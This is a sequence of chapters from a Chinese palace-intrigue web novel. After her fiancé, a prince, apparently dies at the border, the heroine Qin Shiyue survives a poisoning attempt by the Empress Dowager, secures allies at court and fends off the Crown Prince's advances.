她无意识晃了一下,小荷被吓到,连忙冲过去要扶她,她却已经扶住了床沿。 她的指甲深深掐进木料里,指甲尖端被顶疼,才让她勉强稳住心神。 “消息可靠吗?”她的声音出奇的平静,只有小荷听到了一丝不易察觉的颤声。 小荷眼眶泛红,心疼的回道,“是,是宫里传出来的消息,外头已经传疯了,据说是八百里加急送回的军报。” 她抹抹眼泪,继续道,“听说陛下已经下令,举国哀悼,恐怕,恐怕满朝文武都知道了……” 大街小巷都在传战神的陨落,如今,怕是全国都知道了。 秦时月缓缓站起身,用尽了全部的力气才能稳住身形。 晨光透过窗户洒在她苍白的脸上,那双的眸子,此刻却失去了所有光采。 走马观灯般,她的脑袋里闪过跟宋墨辰有关的一切,从上一世自己做鬼时,到他离京前往边关,他们的最后一次见面…… “备车……”她突然转头,声音固执,“我要进宫。” 是宋砚辞,是老皇帝。 一定是他们害死了宋墨辰! 她要查,查出个真相,为宋墨辰报仇! “小姐……”小荷看着这样的她心痛的要命,她还是头一次担心会失去小姐。 “去啊!!”秦时月爆喝一声, 小荷被这突如其来的怒吼吓到,眼泪夺眶而出。 她跟在秦时月身边多年,还从没见过她失控的模样。 此时,那双顾盼生辉的眸子里布满了血丝,仿佛下一秒就会有血泪流出来。 “奴婢,奴婢这就去准备。”小荷担心的要命,抹着眼泪转身就跑,却在门口撞上了闻声赶来的梁斌。 “小荷姑娘?” “你快别挡着路,我要去给小姐备车!”小荷声音沙哑的喊完,推开他就跑。 梁斌眨巴一下眼,向来沉稳的他脸上闪过一丝疑惑,但他有更重要的事做,没理会小荷,转身进了门,他的手上,捏着一封火漆密信。 “大小姐。”他单膝跪地,声音压得极低,“王爷身边的亲卫刚刚秘密送来了这个,说必须亲手交到您手上。” 宋墨辰? 秦时月大脑一片空白,手指僵硬的接过密信,火漆上那枚熟悉的,独属于宋墨辰的印记让她瞳孔骤缩。 他已经死了,为什么,为什么她会在这个时候收到这封信? 第132章 皇后 她的思绪很乱,几乎是凭借着下意识的动作打开了这封信。 秦时月展开信纸,在看到那几个苍劲有力的字体时,整个人如遭雷击般僵在原地。 下一秒,泪水顺着她的脸颊无声滑落。 “大小姐?”梁斌皱着眉头,担忧的抬头。 向来冷静自持的女子此刻肩膀微微耸动,像是被人抽走了所有力气。 就在他不知该说些什么安慰她时,她终于开口了,“进宫,我要见皇后娘娘,我要送王爷最后一程。” “??”梁斌不解。 王爷好好的在边关,怎么就送王爷最后一程了。 他虽然身为暗卫,也负责收集情报工作,可这几日他一直在依秦时月的命行事,并不知道外界发生了什么,更不知道辰王死在边关的事。 梁斌正欲询问详情,却见秦时月走到桌前点燃蜡烛,然后将那封密信引火点燃。 “王爷殁了,本县主不能让他死的不明不白。” 梁斌浑身一僵,眼底全是不敢置信。 就在此时,门外突然传来急促的,整齐划一的走步声,由远及近。 秦时月转头看去,就见一队身着黑色劲装的侍卫已列队站在她的院子里。 为首之人看着秦时月,声音低沉,“县主,属下奉皇后娘娘懿旨,护送您即刻入宫。” 秦时月看着来人,眼神沉了沉。 皇后娘娘想要见她,绝不会派这样的侍卫来,更不会容忍他们对她这样毫无尊敬。 但是,她想看看是谁冒充皇后娘娘要见她。 “走!”她故作焦急,实则不动声色,佯装毫不知情,大步流星跟着来人向外走去。 梁斌察觉不对劲,紧随其后,用只有他们两个人能听到的声音低声提醒,“大小姐,此事蹊跷,要不要先……” “不必。”秦时月脚步不停,不仅没有收音,反而故意大声说道,“皇后娘娘命人接我进宫,必然是有要事相商!至于你,去找小荷,晚些时候和她一起到院子里把我种的花搬进来。” 她声音急切,只是那声音冷的像淬了冰。 所谓不入虎穴焉得虎子,她若不露面,幕后的人怕是坐卧不安。 她正好看看,这盘棋,幕后之人到底下到了哪一步! 花? 梁斌眼珠子一转,猜到什么,立刻恭敬应下。 领头的侍卫看到梁斌离开,犹豫一下,到底没追上去,而是带头快步往外走去。 此次来接秦时月原本就是秘密行事,因为一个普通的护卫乱了大局,只怕主子会动怒。 良妃的寝殿。 她垂眸看着跪在地上的秦可云,眼底透着几分不耐烦。 “不愧是个可人儿,这两日本宫会想办法把你送到皇帝身边,但是本宫不得不提醒你一句,这后宫里容不得半点差错,你那些小聪明最好收起来,出了事,可不是本宫担着的。” 良妃轻叩扶手,声音里带着一丝威压,“如今太子要做的事还有许多,你要是碍了他的事,别怪本宫无情。” 殿内烛火摇曳,映照着秦可云姣好的面庞。 她本长的小家碧玉,可为了能夺得皇帝的宠爱,她在老夫人的安排下,跟着勾栏瓦舍的妓子学了些本事,此时斜斜跪在地上,一副楚楚可怜的勾人模样。 秦可云轻咬下唇,额头抵着冰冷的地砖,身子微微发颤,看的人忍不住心生怜爱。 良妃居高临下的看着她,唇角带着一丝冷笑。 辞儿一早让人传信,说宋墨辰死在了边关,皇帝已经下令,举国哀悼。 这就意味着,这件事是真的。 宋墨辰一死,他们母子的地位便再也没人能动摇了! 至于她为什么还要帮秦可云…… 不过是为了手上多一颗棋子,一颗可以随时可以为他们母子背黑锅的棋子! 慈宁宫。 太后端坐在上座,旁边坐着眼眶通红的赵景阳。 这段时间她被秦时月的药折磨的不轻,人整个消瘦了一圈,此时看上去,就像是被抽干了灵魂的干尸。 “人死不能复生,你哭一哭也就算了,日子还是要过下去的。” 太后心疼的看她一眼,然后道。 她不喜宋墨辰,但架不住赵景阳喜欢。 本想着撮合二人,可如今人死在了边关,也是他的命。 “景阳知道……”赵景阳紧紧攥着帕子,指节泛白,说话的时候更是有气无力的。 这段时间太医院的太医,民间的神医,数不清的人给她看诊过。 可无论是安神汤还是解毒药,她已经喝了几十几百副,却始终不见效。 如今,她总在深夜惊醒,每次惊醒时都伴随着心口绞痛,冷汗日日浸透里衣…… “哀家看你近日来精神好些了,看来是有效果,随后再让王太医给你看看。” 太后暗叹口气,道。 赵景阳正要说话,太后跟前伺候的大太监突然匆匆走进来在太后耳边耳语几句。 太后冷笑一声,眼睛危险的眯了起来,“把人带进来。” 宋墨辰死了,秦时月就是救驾有功,也翻不起什么风浪。 不过,她身为辰王府的未来王妃,王爷都不在了,她这个“王妃”,也该殉葬,去陪王爷才好! 在看到“慈宁宫”三个烫金大字的时候,秦时月在心里冷笑一声。 原来是太后。 这个老虔婆迫不及待的要送死,那她就勉为其难的帮帮她! 此时太后端坐高位,身旁站着面色惊恐的赵景阳。 殿中烛火通明,却照不亮秦时月眼底的寒意。 太后居高临下的看着她,仿佛在看一只待宰的羔羊。 赵景阳则完全不同。 她满眼惊惧,眼神闪躲,压根不敢直视秦时月的目光。 “太后娘娘!?臣女参见太后娘娘。”她像是才反应过来,微微福身,声音却平静的听不出任何情绪。 “免礼。”太后慢条斯理地端起茶盏,轻啜一口,“哀家也是刚听说辰王为国捐躯的事,哀家甚是痛心。你既是他未过门的妻子,想必也悲痛欲绝吧?” 秦时月垂眸不语,心里却猜到了太后的打算,索性不开口。 “哀家思来想去,觉得你与辰王情深义重,不如……”太后放下茶盏,眼中闪过一丝狠厉的光芒。 第133章 老东西要秦时月的命 “哀家这就成全你,让你随他去了,也好全了你们这段姻缘。” 殿内的烛火忽明忽暗,太后话音刚落,殿内瞬间安静的落针可闻。 她缓缓抬起手,示意身旁的嬷嬷上前,“赐酒。” 太后的嘴角勾起一抹阴冷的笑意,“这可是哀家特意为秦姑娘准备的,秦姑娘应该不会拒绝吧?放心,这酒喝下去没什么痛苦,也能让你走得体面些。” 秦时月站在原地纹丝不动,面上满是震惊恐慌之色,可那双原本黯淡的眸子,此刻却闪烁着异样的光芒。 她轻轻抚摸着袖中的暗器,指尖感受着冰冷的金属触感,心跳因过分激动而不断加速着。 嬷嬷端着托盘上前,盘中的白玉酒杯在烛光下泛着润玉光泽。 秦时月盯着那杯毒酒,忽然轻笑出声,笑声里带着几分癫狂的意味。 “太后娘娘非得如此吗?” “时月不怕死,怕的是王爷死不瞑目,所以,时月不会赴死,我会查出真相,为王爷报仇!” 她眼神疯狂,眼底透着一股让人心惊的狠戾,就连从后宫中一路杀出来的太后都被这样的她吓了一跳。 一旁的赵景阳更是被吓白了脸,坐在旁边不断往后缩,身子哆嗦个不停。 太后回过神,猛拍一下身边的扶手,皱眉正要呵斥,殿外突然传来一阵急促的脚步声。 随后,一名老太监慌慌张张的冲了进来,连行礼都顾不上就跪倒在地。 “太,太后,不好了,陛下让我来跟您知会一声,让您准备准备,即刻出发前往名园避难。” “你是浑说什么?”太后眉头一拧,脸色难看的厉害。 好好的,她去避什么乱! “边关急报……”老太监的声音都在发抖,“番邦趁机作乱,已经连续攻下两座城池,一路上无人能挡……” “你说什么!?”太后猛的站起身,手中的佛珠啪的一声散落在地,翠绿的珠子滚的到处都是。 秦时月嘴角微勾,眼底透着几分笑意。 趁着众人注意力分散之际,悄无声息的向后退了半步。 太后脸色铁青,顾不得处置秦时月,厉声喊道:“边关守将都是干什么吃的?为何事先毫无预警?” 此刻,她保养得宜的面容扭曲的可怕,额角的青筋暴起,丑陋又恶心。 老太监伏在地上不敢抬头,声音颤抖的厉害,“回太后,陛下怀疑,是王爷去世的消息传进了番邦,所以,所以番邦才会趁机发难……时间紧急,您还是快准备准备吧……” 这番变故来的突然,殿内众人神色各异。 只有秦时月,眼底闪过一丝精光,悄悄将袖中暗器又往里推了推。 一会真乱起来,她正好趁机给太后一点教训尝尝! 太后此刻已经顾不上秦时月,她颤巍巍的抬手指向殿外宫人,大喊,“快,快去准备凤辇!” 她慌慌张张起身,往外跑的时候踩到散落的佛珠,险些摔倒,还是被身旁的宫女扶了一把,才看看稳住身形。 秦时月则借着混乱退到了殿柱的阴影处,然后勾着唇,轻抚袖中暗器,猛的按下…… 勤政殿里,皇帝急的焦头烂额,但众人你看看我我看看你,始终没有一个人敢站出来。 最后,宋砚辞咬了咬牙,向前一步,“陛下,儿臣愿带兵前往!” 皇帝闻言猛的抬头,眼中闪过一丝惊讶与欣慰。 整个靖垣王朝,除了宋墨辰,他从没指望过任何一个儿子,所以,在听到战事的时候,他虽然慌乱,但也没想过他们会站出来。 所以,宋砚辞的话,让他看到了希望。 离开宋墨辰,他还有宋砚辞,还有许多儿子,区区战事又算得了什么! 他快步走下龙椅,重重拍了拍宋砚辞的肩膀,“好!不愧是靖垣王朝的太子!不愧是朕的儿子!朕即刻下旨,命你为平乱大将军,统领十万精兵。边关战事紧急,即刻启程!” 殿内众臣纷纷拱手喊千岁、万岁。 宋砚辞单膝跪地,沉声道:“儿臣定不负陛下期望,誓死守卫边疆安宁!” 宋墨辰死了,他的对手消失了,可这个时候朝廷无人可用,他不得不站出来。 一来,他身为太子,就是未来的天子,靖垣王朝一旦覆灭,他这个太子也就成了 摆设。 二来,他察觉到最近朝廷中有些大臣怀了别的心思,这对他这个太子来说不是什么好事,所以,他急需建立军功来稳固自己的地位。 太后在慌乱中被扶出慈宁宫,虽然感觉到后背疼了一下,但她整颗心都在逃亡上, 根本没时间关注。 而秦时月在众人着急忙慌的跑出去后,也快速走出慈宁宫,赶往凤仪宫。 她担心皇后出事,没等到宫人通报便冲了进去。 一进门就看到梁斌和小荷正一脸焦急的跪在皇后面前,她瞬间反应过来,梁斌听懂了她在离开前的暗示,这是找皇后来求助了。 松口气,她忙走过去跪下,“娘娘,时月未经通传就私闯凤仪宫,还请娘娘恕罪。” 皇后苍白的脸上上浮现出一丝疲惫的笑意,抬手示意她起身。 “无妨,本宫正要找你。”她朝绘春使个眼色,绘春立刻将宫人们遣了出去,连带着带走了小荷和梁斌。 殿内烛火摇曳,映照出皇后眼底的冷芒,“时月,你可接到了辰儿的信?” “回娘娘,时月进宫正是因为这件事。” 两人不约而同的扫了眼紧闭的殿门和窗户,随后,皇后拉着她向室内走去。 “本宫也是不久前才收到信件的,辰儿也太沉不住气了!” 她边走边说,眼底是藏不住的担心。 她怎么都没想到宋墨辰会选择以假死的方式来逼宋砚辞就范,他就没想到,万一此事闹到无法收拾的地步,他对不起的,不仅仅是她和秦时月,还有万千百姓! “娘娘,我想,王爷定是有万全的计划,我已经暗中联系上了影夜,他会带人去边关探查情况,一旦有消息,他会立刻回京报告。”秦时月道。 第134章 影风回来 进宫的路上她想了很多,加上那封信,她大概猜到了宋墨辰会孤注一掷的原因。 宋砚辞像只毒舌般在幕后做了许多事,可他是太子,想要搬倒他并不容易,最主要的是,皇帝已经对宋墨辰动了杀心,若不是他军功赫赫,恐怕皇帝早就下手了。 他这么做虽然风险大,但总归是给自己找了一条活路,一旦成功,宋砚辞将再不足为惧。 “现在宫中大乱,为了不引起别人的怀疑,本宫已经命人动起来了,本宫现在唯一担心的是你。” 皇后拉着秦时月的手,眼底是真挚的担心。 他们母子在做出决定的时候就已经将生死置之度外,可秦时月不同。 她与宋墨辰还未成婚,随时都可以退出去,保全自己。 秦时月反手握住皇后的手,声音坚定,“娘娘不必顾及时月,时月不是贪生怕死的人。既然选择了这条路,就绝不会半途而废。不过,王爷的计划需要有人配合……” 皇后眼神微闪,然后从袖袋里取出一个精巧的,带着机关的小匣子。 她轻轻拨动暗扣,匣子应声而开,露出了一枚精致的玉印,“这是本宫的印信,遇危急时刻,可凭此物调动整个暗卫营。” 边说着,她的指尖边轻抚过上面精细的纹路,随后,直接将玉印递到了秦时月的手上,“本宫年岁大了,这件事就交给你了。” “娘娘……” “好孩子,辰儿信你,本宫也信你。做你觉得正确的,不用顾及本宫。” 皇后紧紧握着秦时月的手,声音平静又有力量。 她身为中宫皇后,不论发生什么事,都不可能离开皇帝独自而去。 尤其越是这种关键的时候,她越要留下来注意皇帝和宋砚辞那边的动向。 身为母亲,这也是她唯一能为他们做的。 秦时月郑重的将玉印贴身收好,低声道:“娘娘放心,时月定不负所托。只是您也要多加保重,若有任何异动,务必想办法通知我。” 殿外突然传来急促的脚步声,两人警觉的分开。 绘春匆匆推门而入,压低声音道:“娘娘,太子殿下带人往这边来了,说是边关动乱,为了陛下和您的安危,特意带人来保护您。” 保护? 呵,是趁机软禁吧! 皇后迅速整理好神色,对秦时月使了个眼色:“你们从侧门离开,记住本宫的话,万事小心。” 她转身时衣袖轻拂走向高位,又恢复了往日雍容华贵的姿态。 区区宋砚辞也想拿捏她,简直可笑! 秦时月握紧玉印,朝绘春点点头,投去一个拜托了的眼神,然后带着小荷、梁斌,迅速从侧门悄然离去。 影夜那边应该已经赶到边关了,当务之急是安排人与他的人汇合,尽快确认边关的真实情况。 转过一处假山,她忽然停下脚步,眼神敏锐的看向暗处,“谁!?” 梁斌后知后觉,动作迅速的抽出腰间的软剑逼了过去。 “大小姐,是属下。” 剑光一闪而过,影风捂着肩头从阴影处走了出来。 “影风?你这是怎么了?”秦时月怔愣一下。 “属下奉王爷的命令回来与您汇报情况,路上遇袭……”影风扫了眼她身后,然后低声道:“大小姐,这里不是说话的地方,咱们还是出去再说吧。” 他在赶回长乐侯府后才知道秦时月被带进了宫,担心她出事,他冒着生命危险进宫,幸好,幸好在这里碰巧撞上。 秦时月沉眸点点头,“你这样,可以吗?” “不要紧。”影风咬紧牙关,恭敬回答。 几人没再多叙旧,而是避开那些纷乱的脚步声,悄然离开了皇宫。 天香楼二楼的包间里。 影风迅速将边关的情况讲了一遍,然后掏出一封密信。 “王爷的计划启动后遭遇过两次全城搜捕,虽然王爷侥幸没有被查到,但王爷怀疑,他身边有太子或陛下的眼线……”影风脸色难看,眼底带着一丝焦急。 他是暗卫中身手一等一的,他如今奉命回来,不知王爷那边怎么样了。 秦时月眉头微拧,接过密信后快速浏览,越看,脸色越凝重。 片刻后,她攥紧拳头道:“立刻召集我们在京城的所有暗线,等待我的命令。另外,派人盯紧太子的动向,尤其是他接触过的人。” 影夜点头领命,身影很快消失在街道里。 “大小姐,咱们怎么办?”梁斌眉头紧锁,显然已经意识到了如今的情势。 秦时月深吸一口气,垂眸望向繁华的街道。 这场博弈才刚刚开始,接下来,他们的每一步都需谨慎再谨慎。 “大小姐?” 她将密信放在烛火上烧成灰烬后,终于开口,“备车,我要去公主府。” “公主府?”梁斌不解。 事态危急,大小姐怎么还有闲心去公主府叙旧? 他虽然心里疑惑,但没有多问,而是转身去备车。 他前脚离开,秦时月后脚将小荷叫到了跟前,“小荷,我需要你去办一件事,切记,不能让长乐侯府的任何人知晓。” 小荷神色一凛,立刻凑近了些。 秦时月从袖中取出一枚小巧的玉佩塞进她手里,压低声音道:“你拿着这个去找铁匠老五,告诉他,让他将打造好的东西秘密运到京城西郊,到时让他亮出这枚玉佩,自有人接应。” 小荷将玉佩紧紧攥在手心,郑重点头,“小姐放心,奴婢拼死也会将这件事办成!” 她转身就跑,很快消失在楼梯转角处。 秦时月站在窗前,望着远处巍峨的皇宫,眼睛慢慢眯了起来。 明明正值正午,暖阳晒的人心发热,可远处的宫墙上被一层血色覆盖,几只乌鸦盘旋在皇城上空发出刺耳的鸣叫,好像是在祭奠这座皇城最后的荣耀。 她无意识摸了摸袖袋中的玉印,冰凉的触感让她稍稍安定了些。 梁斌备好马车后来请她,经过大堂时,秦时月敏锐的察觉到有一道视线一直跟随着自己。 “大小姐……” 秦时月冷哼一声,“等会儿走西市那条路。” 第135章 找长公主求援 马车驶入西市最繁华的街道,秦时月透过车帘缝隙观察着街上的动静。 她注意到几个形迹可疑的人始终不远不近的跟着马车。 “梁斌,前面绸缎庄停一下。”落下车帘,她低声吩咐。 “大小姐,那些跟踪的人应该是太子府的眼线,需要属下去将人料理了吗?”梁斌没有回头,眼神却冷的出其。 “不必理会他们,咱们现在有更重要的事做。” 秦时月在心里过了一遍自己的计划,确认没有遗漏什么,这才勾起唇角。 绸缎庄。 秦时月下车后就如一般逛街的女子一般,慢慢悠悠进去了。 跟踪的人不敢跟的太近,远远注视着这边。 没多久,“秦时月”低着头出来,直接上了马车。 马车扬尘而去,带走了一众盯梢的尾巴。 当所有眼线的注意力被吸引走,一个身量和秦时月差不多的农家女子走出绸缎庄,转身朝着公主府走去。 公主府门前守卫森严,秦时月表明身份后立即放行。 穿过几重院落,秦时月终于见到了一脸焦急的长公主。 长公主见她这副打扮,怔愣一下,立刻屏退左右。 “时月见过长公主。”秦时月刚要行礼,就被公主一把扶住。 “不必多礼,本宫听到消息正想去看你,可皇兄下旨,命本宫闭门封府,等待皇命。”公主压低声音,目光中透着关切。 宋墨辰的事她听说了,作为姑姑,她是痛心的,可作为皇室一员,她也知道,这是皇家子弟逃不脱的命运。 秦时月眼眶泛红,挣扎着跪在了地上。 她此次前来,是冒着风险的。 长公主和当今陛下一母同胞,就连她也不确定长公主会不会出手帮他们。 “你这是做什么?快起来。”长公主像是想到什么,郑重承诺,“你放心,虽然辰儿不在了,但本宫和皇后娘娘一定会保你和长乐侯府平安,你不必担心。” “殿下。”秦时月磕了个头,声音带着哭腔,“王爷死因待查,时月作为未亡人,不能眼睁睁看他死不瞑目。” 她不想欺骗长公主,但此事关系重大,为了长公主的安危,也为了她们自己,宋墨辰没死的事,她不能告诉长公主…… 长公主眉头一拧,脸色有些凝重,“人已死,如今边关战事又起,你一个女子能做什么?快起来。” “殿下,时月不敢瞒殿下,皇后娘娘曾指给时月一个暗卫,在王爷带兵离京后,他曾查到太子府有动作,只是时月一个未出阁的女子,并没有放在心上,如今想来,王爷的死怕是和太子脱不了关系!” 秦时月声音铿锵有力,就算是长公主想劝,也不知该如何开口。 “殿下,时月是真的没有办法了才来求您的。方才时月出府就被盯上了,所以时月不得已才换上农家装扮来见您,如果王爷的死没有猫腻,为何他们要紧盯着我不放?” 长公主眉头一拧,面上闪过一丝冷意。 宋砚辞当真那样丧心病狂?竟然将同胞手足置于死地!? “殿下……” “罢了,边关不太平,皇兄必然也坐不住,我府上有支私兵,是当年我父亲留给我的老部下,他们只听命我一人,既然你要查,那我便借你一用。” 说着,长公主从袖袋中掏出了一个精致的玄铁印信,在交到秦时月手上时,她迟疑了一下,“时月,本宫将这枚印信给你,是出于对你的信任,你切莫用这支私兵做任何危害社稷的事,否则,本宫定不轻饶!” 这支队伍虽人数不多,但个个都是身经百战的老兵,最擅长潜伏侦查,就是对上宋墨辰的暗卫也不在话下。 秦时月双手接过印信,感受着沉甸甸的分量,郑重承诺,“殿下放心,时月绝不会做任何不利于靖垣王朝的事!” 她不仅不会做不利于靖垣王朝的事,还会和宋墨辰一起,让靖垣王朝更加繁荣昌盛,成为诸国之主! 西郊那边还等着秦时月的命令,她不敢多待,直接拜别了长公主。 为防意外,离开时她换上了公主府婢女的服饰,混在采买的队伍中顺利出了府门。 转过几条小巷,确认无人跟踪后,她才闪身进了一条暗巷,从长乐侯府后墙翻身而入,悄无声息的回了揽月园。 此时,芳姨娘正一脸焦急的在秦时月的内室踱步。 听到动静,她犹如惊弓之鸟般看过来,在看到进门的是秦时月后,心里才稍稍安定些。 “大小姐,听小荷姑娘说你找我。”她一边说,一边朝秦时月行个礼。 秦时月微微颔首,示意她不必多礼,随后将门轻轻关上,又仔细听了听外面的动静,确定无人靠近后才转身面对芳姨娘。 “事态紧急,多余的话我就不说了。我今夜就要离京,侯府的一切都要靠你了。”秦时月压低声音问道,语气中带着一丝紧迫感。 芳姨娘一愣,神色顿时变的凝重起来。 “大小姐,辰王去世的事我刚刚听说了,这个时候离京,实在不是明智之举……” 她的头脑比不得秦时月,但也知道,她此时离京,八成是要去边关。 对于她的关心,秦时月眼神暗了暗,“我有非离京不可的理由,我放心不下的,是侯府。” 若不是因着上一世的一丝情分,长乐侯府早就没有存在的必要了。 可如今,既然让它留下来了,那她就该交代清楚,也好让芳姨娘心里有数些。 “大小姐放心,先前因为太子的话,侯府上下对我还算尊敬。” “你不懂。”秦时月苦笑一下,“我母亲、兄长和卓家一直有往来,就连老夫人也有她的秘密。如今王爷去世,一旦我离京,他们势必会拿你和明远下手。” 她了解她的母亲,他们摩拳擦掌,一直在等一个翻身的机会。 芳姨娘听后,脸色瞬间惨白一片,这才意识到了事情的严重性。 她没有身份背景,更没有娘家做后盾,此时只能将希望放在秦时月身上。 第136章 交代被打断 “大小姐,那我该怎么办?若主母真的发难,他们怕是不会念及往日情分。” 其实,也没什么情分…… 秦时月给她一个让人安心的眼神,然后从袖袋里取出一个锦囊,递到芳姨娘面前,“ 我短时间内应该回不来,这里边的东西,到万不得已的时候再打开,到时候,必能护你和明远一命,至于其他的,等我回来再说。” 芳姨娘接过锦囊,眼眶泛红,“多谢大小姐!那,那你呢?你可是要去边关?此时战事刚起,边关危险重重……” 她虽然不知秦时月的目的,但秦时月待她和明远以诚,她也愿意真心相待。 “我的事你不用担心,我自有打算。你只需记住,无论发生什么,都不要轻举妄动,更不要试图与我联系,以免引来不必要的麻烦。” 秦时月声音不大,但语气严肃,芳姨娘不敢再多问。 她强忍住泪水,郑重的点点头,“大小姐放心,我会尽力保住侯府。即便真到了无法挽回的地步,我和明远也绝不给你添麻烦。” 秦时月满意的点点头,又叮嘱了几句,这才张口呼唤小荷,打算让小荷送芳姨娘离开。 时间紧迫,芳姨娘离开后,她会收拾收拾东西,趁夜色离京。 可小荷没有出现,推门而入的,是秦怀瑾。 “妹妹,急匆匆的叫小荷所谓何事啊?不如说出来,大哥给你做主。” 他脸色平静,眼底却翻涌着一丝狠戾和兴奋。 父亲方才回来将宋墨辰死在边关的事告诉了他们,没想到啊没想到,秦时月的报应来的这样快。 没了辰王这个靠山,他倒要看看秦时月还怎么嚣张! 秦时月眸光一冷,面上却迅速换上一副温婉神色,“兄长说笑了,我只是有些事情要吩咐小荷去办。倒是大哥,怎么有空来我这揽月园?” 芳姨娘眼看气氛紧张,朝着秦怀瑾点了下头,跟秦时月交换个眼神,“大小姐以后好自为之,我就先回去了!” 这是她们一直以来的计量,在侯府众人面前,她们多数时候都给人一种不和的假象。 偏偏今日,秦怀瑾拦住了芳姨娘的去路。 他皮笑肉不笑的走近几步,道:“父亲刚从宫里回来,说边关战事吃紧,朝中局势动荡,让我多留意府中事务。芳姨娘、妹妹,你们可别在这节骨眼上给侯府惹麻烦,否则的话……” 他的语气听似关心,实则暗藏威胁。 秦时月心中冷笑,面上却不动声色,“大哥放心,我一个深闺女子,能惹什么麻烦?倒是大哥今日这般兴师动众,莫不是有什么事要与我商量?” 秦怀瑾眯了眯眼,显然没料到宋墨辰的死讯传来,她还会如此镇定。 他冷哼一声,阴冷的目光扫过房内,眼见的发现了芳姨娘袖袋处漏出来的锦囊一角,“什么东西?” 话音未落,他便伸手去抓那锦囊。 秦时月身形一闪,抢先将芳姨娘护在身后,然后轻轻一推,顺势将她推出了房门。 “不过是些女儿家的私人物品罢了,大哥对这些东西感兴趣也没什么,但芳姨娘到底是府上的姨娘,不久后还要成为平妻,也就是咱们的母亲,大哥此举传出去,怕是有损侯府的面子。” 秦怀瑾收回手,脸上的笑容渐渐褪去,露出几分阴沉,“妹妹如此防备,那东西怕是不简单。不过也无所谓,区区一个姨娘,料想她翻不起什么风浪。” “倒是你,如今辰王已逝,你失去了倚仗,若还想在侯府安稳度日,最好学会低头做人!” 平妻?如今父亲忙的焦头烂额,平妻一事早被他抛到了脑后,而他和母亲已经商量好了,正好趁这个机会,除掉芳姨娘和秦明远,以及她肚子里的孽种! 秦时月垂下眼帘,掩住眼底的寒意,“我一向安分守己,倒是大哥,还是约束好自己的言行,别让外人看了笑话的好。至于你说的倚仗……我身为明月县主,何时需要倚仗他人了?” 或许在很多人眼中,她就是个普通女子,一个离开男子就不行的女子。 可没人知道,从地狱爬回来的她,一步步成长,如今早已不需要任何人庇佑了! “县主?呵,你呀,真是天真。” 县主?能离开侯府才有人能记起她县主的身份,可惜了,如今辰王已死,皇后娘娘自顾不暇,她这个县主,名存实亡,这个后院都别想出去了! 气氛剑拔弩张,落针可闻。 就在此时,门外传来一阵急促的脚步声,紧接着,一名丫鬟慌慌张张的跑了进来,“大少爷!不好了,前院有人闯进来,说是奉太子之命来保护……保护县主!” “你说什么?”秦怀瑾简直不敢相信自己听到了什么。 “是,是真的,侯爷已经前去接驾了。” 丫鬟越说声音越小,生怕秦怀瑾将怒火撒在她身上。 “走,去看看!”秦怀瑾狠狠瞪了秦时月一眼,拂袖离开。 他不明白太子的用意,但他掺和进来,此时,秦时月就不能出事。 秦时月眼神微沉,张口唤来小荷。 宋砚辞想做什么她并不清楚,不过,他来与不来,都改变不了她的计划。 不过,若宋砚辞真派人常驻,那离开侯府,就需要多一个步骤。 “小姐……”小荷进门就跪在了秦时月面前,她声音嘶哑,情绪有些控制不住。 秦时月一垂眸就看到了小荷红肿的脸颊,顿时火气上涌,“谁干的?” “小姐,小荷没事,小荷就是担心您,您没事吧?” 方才她被秦怀瑾的人控制着,没办法进来给小姐通风报信,不知道小姐有没有受伤。 “傻丫头,我没事。”秦时月强压着怒气,眼神如淬着冰,“你等着,我去给你拿药。” “小姐,奴婢真的没事。方才奴婢听到太子往揽月园来了,您要不要……” “太子驾到~” 小荷话音未落,一道尖锐的公鸭嗓自门外响起。 秦时月冷哼一声,伸手将她扶了起来,“你先去自己处理一下,晚点我给你拿药。” 第137章 无耻太子来求爱 宋砚辞亲自过来,再怎么样她都得先接驾。 秦时月整理了下衣衫,快步走到门外,此时宋砚辞已经在众多侍卫的簇拥下站在了院中,看到她出来,他的脸上这才浮现出一丝若有若无的笑意。 今日她穿了一袭水蓝色蜀锦衣裙,头发挽了个最常见的发髻,样式简约,却难掩她天生的高贵气质。 宋砚辞的目光在她的小脸上停留了片刻,在看到她通红泛肿的眼眶后忍不住皱皱眉,然后抬手,示意周围人退下。 “时月妹妹,近日可还好?” 宋墨辰死在边关,她就这般伤心? 秦时月微微福身行礼,语气平静,似乎还带着淡淡的疏离,“多谢太子殿下关心,臣女一切安好。” 宋砚辞眼神微沉,向前两步,直勾勾的看着她,“皇弟已死,你和他的婚事便做不得数了,未来,你可有什么想法?” 秦时月微不可查的皱皱眉,有些不理解他为何会这么问。 她故作思索状,坚定的说道:“王爷死的蹊跷,臣女想为王爷找出凶手,也好叫王爷瞑目。” 他眼睛微眯,眼神阴鸷,“时月对皇弟用情之深让本宫羡慕,可人死不能复生,你就不为自己想想吗?” 他这话说的越发奇怪,秦时月有点反应不过来,总觉得有什么地方不对劲。 就在她百思不得其解的时候,宋砚辞突然伸出手,一把攥住了她的手,“时月,本宫从没有喜欢过任何女子,你是唯一一个让本宫魂牵梦绕的女子。如今宋墨辰已死,你……” 秦时月懵了。 宋砚辞后边说了些什么,她根本没听进去,满脑子都是在酒楼时套出来的那些话。 这一刻她才恍然惊觉,宋砚辞今日来,怕不是派人来监视她的,而是……来逼她就范的! 不光是她,就连隐藏在暗处的影风都震惊不已,他脸色一沉,大手蓦的摸到了腰间的暗器上。 卑鄙小人,竟然对自己的皇弟妹有这种龌龊的心思! “时月?” 见她处于震惊中,宋砚辞得意的勾勾唇,紧了紧攥着她的大手。 他身为太子,是未来的国君。 如今最有竞争力的宋墨辰已死,再也没有人能威胁他的地位,他就不信他刚刚那番话,秦时月会不动心! 秦时月迅速回过神,眼底闪过一丝冷意。 她不动声色的抽回手后退一步,面色惊恐,故意和他拉开距离。 尽管心里厌恶不已,但她却装着一副受宠若惊又惶恐的样子。 “殿下说笑了,臣女与王爷虽未举行大典,但王爷刚死,臣女不敢想其他事,只想查明真相为王爷讨回公道。” 宋砚辞脸色微变,显然没料到她会说出这番话,这不是变相的拒绝吗? 他盯着她看了片刻,眼底闪过一丝阴霾,“时月,你可知道本宫为了你,费了多少心思?” 秦时月心头一震,隐隐猜到了什么,但面上依旧不露声色,“殿下对臣女的恩情,臣女铭记于心。” 这个狗东西该不会想告诉她,刺杀宋墨辰,是因为他对自己有情? 呸! 宋砚辞哈哈一笑,“你以为你还能有什么选择?宋墨辰已死,你一个孤女,能依靠谁?本宫今日来,便是给你一个机会,只要你愿意,本宫可以保你一世荣华富贵!” 秦时月垂下眼帘,掩住眼底的寒意。 强取豪夺被他说的这么冠冕堂皇,若这天下真给他坐了,世人还指不定要受多少苦! 